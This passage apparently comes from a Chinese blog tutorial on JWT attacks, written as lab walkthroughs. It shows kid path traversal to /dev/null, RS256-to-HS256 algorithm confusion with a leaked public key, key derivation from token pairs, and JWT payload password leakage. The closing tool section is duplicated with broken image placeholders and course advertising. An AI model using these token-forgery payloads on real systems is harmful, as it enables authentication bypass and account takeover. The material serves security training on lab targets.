如果服务器也支持使用对称算法签名的jwt就会特别危险,在这种情况下攻击者可能会将kid参数指向一个可预测的静态文件,然后使用与该文件内容匹配的秘密对JWT进行签名,从理论上讲您可以对任何文件这样做,但是最简单的方法之一是使用/dev/null,这在大多数Linux系统上都存在,由于这是一个空文件,读取它将返回一个空字符串,因此用空字符串对令牌进行签名将会产生有效的签名
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal
![](https://img-blog.csdnimg.cn/img_convert/db7abd3f31c12ab362a85a5139d5f064.png)
Step 1:点击上方"Access The Lab"进入靶场
![](https://img-blog.csdnimg.cn/img_convert/05f447cd89afab106397c6367f500a4d.png)
Step 2:登录靶场
![](https://img-blog.csdnimg.cn/img_convert/5ee50567f93ba82491f9e97a332a2d5b.png)
Step 3:登录后进入到如下邮箱更新界面
![](https://img-blog.csdnimg.cn/img_convert/52bc7790a753cf8c534bf104e9e29740.png)
Step 4:使用burpsuite的插件生成一个对称密钥(Symmetric Key)并将k的值修改为"AA=="即为null
{
“kty”: “oct”,
“kid”: “38576880-33b7-4446-ade4-f1a78bb6d5c2”,
“k”: “AA==”
}
![](https://img-blog.csdnimg.cn/img_convert/5d51c437365dd0330c556ccca434cf3d.png)
Step 5:拦截一个请求将其发送到repeat模块
![](https://img-blog.csdnimg.cn/img_convert/9be5022375496c81bbd92f7e50a9a431.png)
Step 6:此时直接访问/admin——提示"401 Unauthorized"
![](https://img-blog.csdnimg.cn/img_convert/07a385a385ca00947b0e4831763388bc.png)
Step 7:在JSON Web Token界面中修改kid值和sub进行目录遍历,这里的"/dev/null"文件名与"AA=="一致都为null,对称密钥,所以可以成功绕过
{
“kid”: “…/…/…/…/…/…/…/dev/null”,
“alg”: “HS256”
}
![](https://img-blog.csdnimg.cn/img_convert/1f922b6f75b4521a3f6215ab595fd7c0.png)
Step 8:点击sign选择OCT8 的密钥攻击
![](https://img-blog.csdnimg.cn/img_convert/accf580126e53509003b88a0aa29b941.png)
![](https://img-blog.csdnimg.cn/img_convert/5901e69a63fde3773f4d8f582e8303e0.png)
Step 9:成功越权
![](https://img-blog.csdnimg.cn/img_convert/c656bd7740ed94bd8e665d748f56caff.png)
Step 10:调用敏感接口删除carlos用户完成解题
![](https://img-blog.csdnimg.cn/img_convert/7c1d02a3dc3953194b297d6c2309573b.png)
![](https://img-blog.csdnimg.cn/img_convert/a5aa8a251bd8172f5e659ab7d29aab5e.png)
###### JWT算法混淆
###### 算法混淆
算法混淆攻击(也称为密钥混淆攻击)是指攻击者能够迫使服务器使用不同于网站开发人员预期的算法来验证JSON web令牌(JWT)的签名,这种情况如果处理不当,攻击者可能会伪造包含任意值的有效jwt而无需知道服务器的秘密签名密钥
JWT可以使用一系列不同的算法进行签名,其中一些,例如:HS256(HMAC+SHA-256)使用"对称"密钥,这意味着服务器使用单个密钥对令牌进行签名和验证,显然这需要像密码一样保密
![](https://img-blog.csdnimg.cn/img_convert/138a47bab6c57d866cd9129320ed4024.png)
其他算法,例如:RS256(RSA+SHA-256)使用"非对称"密钥对,它由一个私钥和一个数学上相关的公钥组成,私钥用于服务器对令牌进行签名,公钥可用于验证签名,顾名思义,私钥必须保密,但公钥通常是共享的,这样任何人都可以验证服务器发出的令牌的签名
![](https://img-blog.csdnimg.cn/img_convert/db5ff985843c8eaaea47f079a67fc294.png)
###### 混淆攻击
算法混乱漏洞通常是由于JWT库的实现存在缺陷而导致的,尽管实际的验证过程因所使用的算法而异,但许多库都提供了一种与算法无关的方法来验证签名,这些方法依赖于令牌头中的alg参数来确定它们应该执行的验证类型,下面的伪代码显示了一个简单的示例,说明了这个泛型verify()方法在JWT库中的声明:
function verify(token, secretOrPublicKey){
algorithm = token.getAlgHeader();
if(algorithm == “RS256”){
// Use the provided key as an RSA public key
} else if (algorithm == “HS256”){
// Use the provided key as an HMAC secret key
}
}
使用这种方法的网站开发人员认为它将专门处理使用RS256这样的非对称算法签名的JWT时,问题就出现了,由于这个有缺陷的假设他们可能总是传递一个固定的公钥给方法,如下所示:
publicKey = <public-key-of-server>;
token = request.getCookie(“session”);
verify(token, publicKey);
在这种情况下如果服务器接收到使用对称算法(例如:HS256)签名的令牌,库通用verify()方法会将公钥视为HMAC密钥,这意味着攻击者可以使用HS256和公钥对令牌进行签名,而服务器将使用相同的公钥来验证签名(备注:用于签署令牌的公钥必须与存储在服务器上的公钥完全相同,这包括使用相同的格式(如X.509 PEM)并保留任何非打印字符,例如:换行符,在实践中您可能需要尝试不同的格式才能使这种攻击奏效)
攻击流程简易视图如下:
![](https://img-blog.csdnimg.cn/img_convert/c35dc99ddb0213a2571a99718ee189e6.png)
###### 攻击演示
靶场地址:https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion
![](https://img-blog.csdnimg.cn/img_convert/2f8e56bf0be1c09eab3e25c5ce181803.png)
Step 1:点击"Access the lab"访问靶场
![](https://img-blog.csdnimg.cn/img_convert/5c26f8efddf1ad410bed1b51fcb6e774.png)
Step 2:使用账户密码登录
![](https://img-blog.csdnimg.cn/img_convert/277ea429301b063c2b8e2f436b78550f.png)
Step 3:登录之后进入到用户邮箱更新操作界面
![](https://img-blog.csdnimg.cn/img_convert/3413c8f78b2e198b6ed474a659efce97.png)
Step 4:服务器有时通过映射到/jwks.json或/.well-known/jwks.json的端点将它们的公钥公开为JSON Web Key(JWK)对象,比如大家熟知的/jwks.json,这些可能被存储在一个称为密钥的jwk数组中,这就是众所周知的JWK集合,即使密钥没有公开,您也可以从一对现有的jwt中提取它
{
“keys”: [
{
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “75d0ef47-af89-47a9-9061-7c02a610d5ab”,
“n”: “o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ”
},
{
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA”,
“n”: “fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw”
}
]
}
于是乎我们可以直接访问/jwks.json接口获取到服务器的公钥信息,在此处我们将JWK复制下来,作为我们第二部的RSA Key
https://0aad003404004c0b817dcff9004c0050.web-security-academy.net/jwks.json
{
“keys”: [
{
“kty”: “RSA”,
“e”: “AQAB”,
“use”: “sig”,
“kid”: “63624c36-bfd8-4146-888e-6d032ad4fe18”,
“alg”: “RS256”,
“n”: “zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw”
}
]
}
![](https://img-blog.csdnimg.cn/img_convert/ef382813042bf459afcd3ec37e644ce0.png)
Step 5:在Burpsuite的JWT Editor Keys中点击"New RSA Key",用之前泄露的JWK而生成一个新的RSA Key
{
“kty”: “RSA”,
“e”: “AQAB”,
“use”: “sig”,
“kid”: “63624c36-bfd8-4146-888e-6d032ad4fe18”,
“alg”: “RS256”,
“n”: “zsiIsVqAKSpOnOxMKrI0hT3p8m_NK3VoejFnt4Hx2CFzvJsZ4_9mmoIVwi_nXYr7NtNV7stOSS4MGzYdJ57t4v83B9h7uI1fdKSp-L-cisg31S0Wm5B_LDnvuABFMcShJ-DKTgEYfLHaG31JudlyJdnfgNIIa0XL-wbGh7Xshf8RtzR8FC2DfApX_-KXYNnHxnTKTPXl5unBgCxyny2n2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY-E2FXIoPIt8m_VSXlsKyZpjpfXTJJZo_IqazAl1XBW6bjwWjxwee0Xbyt7M1_1dTKjaAw”
}
![](https://img-blog.csdnimg.cn/img_convert/f7c172dbc8f5eee118285b926da2277d.png)
Step 6:选中"Copy Public Key as PEM",同时将其进行base64编码操作,保存一下得到的字符串(备注:上下的一串-----END PUBLIC KEY-----不要删掉)
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzsiIsVqAKSpOnOxMKrI0
hT3p8m/NK3VoejFnt4Hx2CFzvJsZ4/9mmoIVwi/nXYr7NtNV7stOSS4MGzYdJ57t
4v83B9h7uI1fdKSp+L+cisg31S0Wm5B/LDnvuABFMcShJ+DKTgEYfLHaG31Judly
JdnfgNIIa0XL+wbGh7Xshf8RtzR8FC2DfApX/+KXYNnHxnTKTPXl5unBgCxyny2n
2CwoCIiYet7s7X1c3qhwktWk6xJTmvkrd85KBlDSyEjBhEPPXrbVfqo8sNxkY+E2
FXIoPIt8m/VSXlsKyZpjpfXTJJZo/IqazAl1XBW6bjwWjxwee0Xbyt7M1/1dTKja
AwIDAQAB
-----END PUBLIC KEY-----
![](https://img-blog.csdnimg.cn/img_convert/aba1a22f720b1634afa4d97db841e7e8.png)
base64后结果:
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
![](https://img-blog.csdnimg.cn/img_convert/a906ac0de42325f242e5505bb1ce081b.png)
Step 7:在JWT Editor Keys处,生成新的对称加密Key,用之前保存的base64编码去替换k的值
{
“kty”: “oct”,
“kid”: “63b7b785-4d35-4cb7-bbc6-9d9e17dcf5fe”,
“k”: “LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==”
}
![](https://img-blog.csdnimg.cn/img_convert/08ec45edae7bda56c12ff5061120eb87.png)
Step 8:捕获请求数据报并将其发送到repeat模块
![](https://img-blog.csdnimg.cn/img_convert/511f8232fec7dd6c3e0002c87084ab12.png)
此时直接请求/admin是无法请求到的
![](https://img-blog.csdnimg.cn/img_convert/d79e5a9bb25da8a12548f4e852aca5e8.png)
Step 9:随后修改alg为HS256,修改sub为administrator并进行Sign操作
![](https://img-blog.csdnimg.cn/img_convert/f3b6f6089fe8fba468470cfffd746177.png)
Step 10:重新发送数据包可以看到回显成功
![](https://img-blog.csdnimg.cn/img_convert/9959d2e4af32e3b6bab4dc628bf4ded7.png)
Step 11:请求敏感连接删除用户完成解题
![](https://img-blog.csdnimg.cn/img_convert/701321cc9bce820b1f6534705843e9cc.png)
![](https://img-blog.csdnimg.cn/img_convert/d17dec7beff69e9764cf836e87b121ca.png)
###### 令牌派生公钥
###### 基本介绍
在公钥不可用的情况下您仍然可以通过使用jwt \_ forgery.py之类的工具从一对现有的JWT中获取密钥来测试算法混淆,您可以在rsa\_sign2n GitHub存储库中找到几个有用的脚本
https://github.com/silentsignal/rsa\_sign2n
![](https://img-blog.csdnimg.cn/img_convert/cd22950ad61fcf04811b414f3f88d87f.png)
###### 简易示例
靶场地址:
https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key
![](https://img-blog.csdnimg.cn/img_convert/0abed6d72a3c273073c7d98a6516fc71.png)
Step 1:安装常规操作登录登出,再登录,获取两个JWT
![](https://img-blog.csdnimg.cn/img_convert/d9fb010b6eb200e4353f1f15466a1a03.png)
随后将其放到Port提供的docker工具里面运行,运行的命令如下
docker run --rm -it portswigger/sig2n <token1> <token2>
![](https://img-blog.csdnimg.cn/img_convert/68a253a2c72ed6db97c4b15089ada3b1.png)
jwt \_ forgery.py脚本会输出一系列token的存在情况值
![](https://img-blog.csdnimg.cn/img_convert/5f6fa0dc6697e0be8d72b2b280fa7d78.png)
Step 2:这里我们尝试每一个Tempered JWT,Port这里给了提示说是X.509 形式的,所以我们只需要将X.509形式的JWT进行验证即可,当Response回应200时代表token是有效的,若为302则代表了重定向,下图是一个成功的案例
![](https://img-blog.csdnimg.cn/img_convert/eb1e65a2f8cbb42794fe3b30aedbec6c.png)
Step 3:将JWT的Base64编码拿过来先放到记事本里面暂存,在Burpsuite的JWT Editor Keys点击New Symmetric Key,将上面的Base64编码拿过来替换此对称密钥的k值,生成对称密钥之后进行和之前攻击一致的Sign操作
![](https://img-blog.csdnimg.cn/img_convert/c56919ae245e388ab51059b1838d29c9.png)
###### 敏感信息泄露
###### 基本介绍
JWT敏感信息泄露是指攻击者通过某种方式获取了JWT中包含的敏感信息,例如:用户的身份、权限或其他敏感数据,这种攻击可能会导致恶意用户冒充合法用户执行未经授权的操作或者访问敏感信息,常见的JWT敏感信息泄露方式包括:
* 窃取JWT:攻击者通过窃取JWT令牌来获取其中的敏感信息,这可以通过窃取存储在客户端的JWT令牌或者通过攻击服务器端的JWT签名算法来实现
* 窃取载荷:攻击者可以在传输过程中窃取JWT的载荷部分,这可以通过窃听网络流量或者拦截JWT令牌来实现
* 暴力破解:攻击者可以通过暴力破解JWT签名算法来获取JWT中包含的敏感信息
###### 简易示例
靶场地址:https://authlab.digi.ninja/Leaky\_JWT
![](https://img-blog.csdnimg.cn/img_convert/516e91612533ab9311b6dbb58b098b89.png)
靶场JWT信息如上所示,而在实战中我们可以去抓包,如果抓到的数据包中有类似这样的JWT认证那我们就可以直接拿去解密了,我们拿到的数据是这样的:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k
上面是一个标准的JWT认证的格式,其包含Header、Payload、Signature三个部分,每个部分之间又以"."号分割,他这里的JWT认证是经过base64加密的,所以我们这里先要拿到base64解密网站去解密一下
https://base64.us/
![](https://img-blog.csdnimg.cn/img_convert/4256ff700a7fda16b589cfb91aac3c31.png)
在这里我们可以看到payload部分的数据解密出来后包含password字段信息,后面解出来的是一串MD5数据,之后我们将其拿到MD5在线解密网站进行解密操作:
![](https://img-blog.csdnimg.cn/img_convert/af74de12182062d711d27bb8e2063657.png)
随后得到密码Password1并使用其作为密码,使用joe作为用户名进行登录操作:
![](https://img-blog.csdnimg.cn/img_convert/1dcb6aa8d1c0d26b54bd3c24006d2038.png)
随后成功登录:
![](https://img-blog.csdnimg.cn/img_convert/864fb58a75277471fd211fc0f2cad525.png)
###### 密钥硬编码类
###### 基本介绍
JWT中的密钥是用于对令牌进行签名或加密的关键信息,在实现JWT时密钥通常存储在应用程序代码中即所谓的"硬编码",这种做法可能会导致以下安全问题:
* 密钥泄露:硬编码的密钥可以被攻击者轻松地发现和窃取,从而导致JWT令牌被篡改或解密,进而导致安全漏洞
* 密钥管理:硬编码的密钥难以进行集中管理,无法灵活地进行密钥轮换、密钥失效等操作,从而增加了密钥管理的难度
* 密钥复用:硬编码的密钥可能会被多个应用程序或服务共享使用,这可能会导致一个应用程序出现安全漏洞后,其他应用程序也会受到影响
###### 漏洞案例
JWT密钥硬编码:
![](https://img-blog.csdnimg.cn/img_convert/5c8248e6f1945d73258578336cf42bc1.png)
##### 会话续期
###### 续期机制
JWT(JSON Web Token)的续期机制是指在JWT过期之后通过一定的方式来更新JWT令牌,使其可以继续使用以减少用户需要频繁重新登录的情况,常见的JWT续期机制包括:
* 刷新令牌(Refresh Token):在用户登录时除了获取JWT令牌外还会获取一个刷新令牌,当JWT令牌过期时可以使用刷新令牌来获取新的JWT令牌,刷新令牌的有效期通常比JWT令牌长并且会在每次使用后更新有效期以确保安全性
* 延长有效期:在JWT令牌过期之前服务器可以根据某些条件来判断是否需要延长JWT令牌的有效期,例如:用户在活跃状态、令牌过期时间较短等,如果满足条件服务器将发送一个新的JWT令牌以替换原来的JWT令牌
* 自动续期:在使用JWT令牌时服务器可以检查JWT令牌的有效期并在需要时自动为其续期,这通常需要与前端应用程序进行配合以确保用户可以无缝地使用应用程序,而不需要重新登录
###### 续期问题
###### 无限使用
用户登录成功获取到一个JWT Token,JWT Token由包含算法信息的header和包含用户非敏感信息的body以及对header和body数据签名后的sing值拼接base64后生成,body中包含用户token失效时间戳exp(默认1小时)、用户id标识u
![](https://img-blog.csdnimg.cn/img_convert/fc27d7baa3c08576ea05eaef0ea26549.png)
JWT Token有效期为1小时
![](https://img-blog.csdnimg.cn/img_convert/50dc265c1ca9285fd3bb82da0a328170.png)
![](https://img-blog.csdnimg.cn/img_convert/7784d1c50e1357649b0b4b980c14b184.png)
![](https://img-blog.csdnimg.cn/img_convert/a2db40c1280fe4d501b2e65b6115e090.png)
但是在过期后发现使用之前过期的JWT Token可以继续进行会话操作
![](https://img-blog.csdnimg.cn/img_convert/0a388deed24fe97bbd263d97d14b60f2.png)
###### Token刷新缺陷
JWT Token在续期设计时由于代码编写错误将新老token更新逻辑设计错误,使得新Token和老Token一致,导致JWT 续期失败
![](https://img-blog.csdnimg.cn/img_convert/49d8e866bb3c29d3e693dd3cf1bbc815.png)
测试效果如下:
![](https://img-blog.csdnimg.cn/img_convert/00a6630abc2c33a3aa936978e80b00e8.png)
###### N个新Token生成
功能测试时发现JWT Token首次生成时默认失效时120分钟,续期业务逻辑中仅在JWT Token的后1/3时间,也就是80-120分钟时进行续期操作,在此期间用户的Token会进行刷新操作,使用新的Token请求到服务器段,服务器端会返回一个新的JWT Token到前端,供前端使用,但是在续期期间旧的Token可以无限制生成多个有效的JWT Token,存在一定程度上的被利用风险
![](https://img-blog.csdnimg.cn/img_convert/be49a3b2867afa1b692b6cdc9f1ae3fd.png)
![](https://img-blog.csdnimg.cn/img_convert/52aec24d375263ecf23de683f2c581d8.png)
#### 工具集合
##### jwt\_tool
###### 项目地址
https://github.com/ticarpi/jwt\_tool
![](https://img-blog.csdnimg.cn/img_convert/93404cc115ff9c4ae9be0d05e1760353.png)
###### 主要功能
1、检查令牌的有效性
2、测试已知漏洞:
CVE-2015-2951:alg=none签名绕过漏洞
CVE-2016-10555:RS / HS256公钥不匹配漏洞
CVE-2018-0114:Key injection漏洞
CVE-2019-20933 / CVE-2020-28637:Blank password漏洞
CVE-2020-28042:Null signature漏洞
3、扫描配置错误或已知漏洞
4、Fuzz声明值以引发意外行为
5、测试secret/key file/public key/ JWKS key的有效性
6、通过高速字典攻击识别低强度key
7、时间戳篡改
8、RSA和ECDSA密钥生成和重建(来自JWKS文件)
9、伪造新的令牌头和有效载荷内容,并使用密钥或通过其他攻击方法创建新的签名
###### 使用说明
https://github.com/ticarpi/jwt\_tool/wiki/Using-jwt\_tool
![](https://img-blog.csdnimg.cn/img_convert/ced376cb6e143b2db83ba3b720ef79e8.png)
##### MyJWT
###### 项目地址
https://github.com/tyki6/MyJWT/
![](https://img-blog.csdnimg.cn/img_convert/0674e4a51fb2ddc5b8803a06a176ed0a.png)
###### 功能说明
* copy new jwt to clipboard
* user Interface (thanks questionary)
* color output
* modify jwt (header/Payload)
* None Vulnerability
* RSA/HMAC confusion
* Sign a jwt with key
* Brute Force to guess key
* crack jwt with regex to guess key
* kid injection
* Jku Bypass
* X5u Bypass
##### 辅助脚本
![img](https://img-blog.csdnimg.cn/img_convert/290019f6d6d9e97cc26ce6ebfe9cb334.png)
![img](https://img-blog.csdnimg.cn/img_convert/2963232c71394090eb895cfa55c06b7e.png)
![img](https://img-blog.csdnimg.cn/img_convert/c200169897b2963f7f50f00f3c746ed0.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!**
**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618631832)**
###### 主要功能
1、检查令牌的有效性
2、测试已知漏洞:
CVE-2015-2951:alg=none签名绕过漏洞
CVE-2016-10555:RS / HS256公钥不匹配漏洞
CVE-2018-0114:Key injection漏洞
CVE-2019-20933 / CVE-2020-28637:Blank password漏洞
CVE-2020-28042:Null signature漏洞
3、扫描配置错误或已知漏洞
4、Fuzz声明值以引发意外行为
5、测试secret/key file/public key/ JWKS key的有效性
6、通过高速字典攻击识别低强度key
7、时间戳篡改
8、RSA和ECDSA密钥生成和重建(来自JWKS文件)
9、伪造新的令牌头和有效载荷内容,并使用密钥或通过其他攻击方法创建新的签名
###### 使用说明
https://github.com/ticarpi/jwt\_tool/wiki/Using-jwt\_tool
![](https://img-blog.csdnimg.cn/img_convert/ced376cb6e143b2db83ba3b720ef79e8.png)
##### MyJWT
###### 项目地址
https://github.com/tyki6/MyJWT/
![](https://img-blog.csdnimg.cn/img_convert/0674e4a51fb2ddc5b8803a06a176ed0a.png)
###### 功能说明
* copy new jwt to clipboard
* user Interface (thanks questionary)
* color output
* modify jwt (header/Payload)
* None Vulnerability
* RSA/HMAC confusion
* Sign a jwt with key
* Brute Force to guess key
* crack jwt with regex to guess key
* kid injection
* Jku Bypass
* X5u Bypass
##### 辅助脚本
[外链图片转存中...(img-QYV33IlY-1715804183114)]
[外链图片转存中...(img-5v50oZON-1715804183114)]
[外链图片转存中...(img-WehUrwEJ-1715804183115)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!**
**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**
**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618631832)**